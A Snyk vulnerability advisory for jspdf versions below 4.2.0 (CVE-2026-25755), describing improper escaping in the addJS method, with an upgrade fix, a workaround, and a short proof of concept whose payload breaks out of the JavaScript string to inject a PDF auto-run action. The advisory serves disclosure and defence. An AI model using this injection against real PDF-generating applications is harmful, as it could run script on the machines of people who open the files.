Improper Encoding or Escaping of Output Affecting jspdf package, versions <4.2.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Improper Encoding or Escaping of Output vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-JS-JSPDF-15322679
- published20 Feb 2026
- disclosed19 Feb 2026
- creditZeroXJacks
Introduced: 19 Feb 2026
NewCVE-2026-25755 (opens in a new tab)How to fix?
Upgrade jspdf to version 4.2.0 or higher.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the addJS method. An attacker can inject arbitrary PDF objects and execute malicious actions or alter the document structure by supplying specially crafted input that escapes the JavaScript string delimiter. This can impact any user who opens the generated PDF.
Workaround
This vulnerability can be mitigated by escaping parentheses in user-provided JavaScript code before passing them to the addJS method.
PoC
import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";
doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");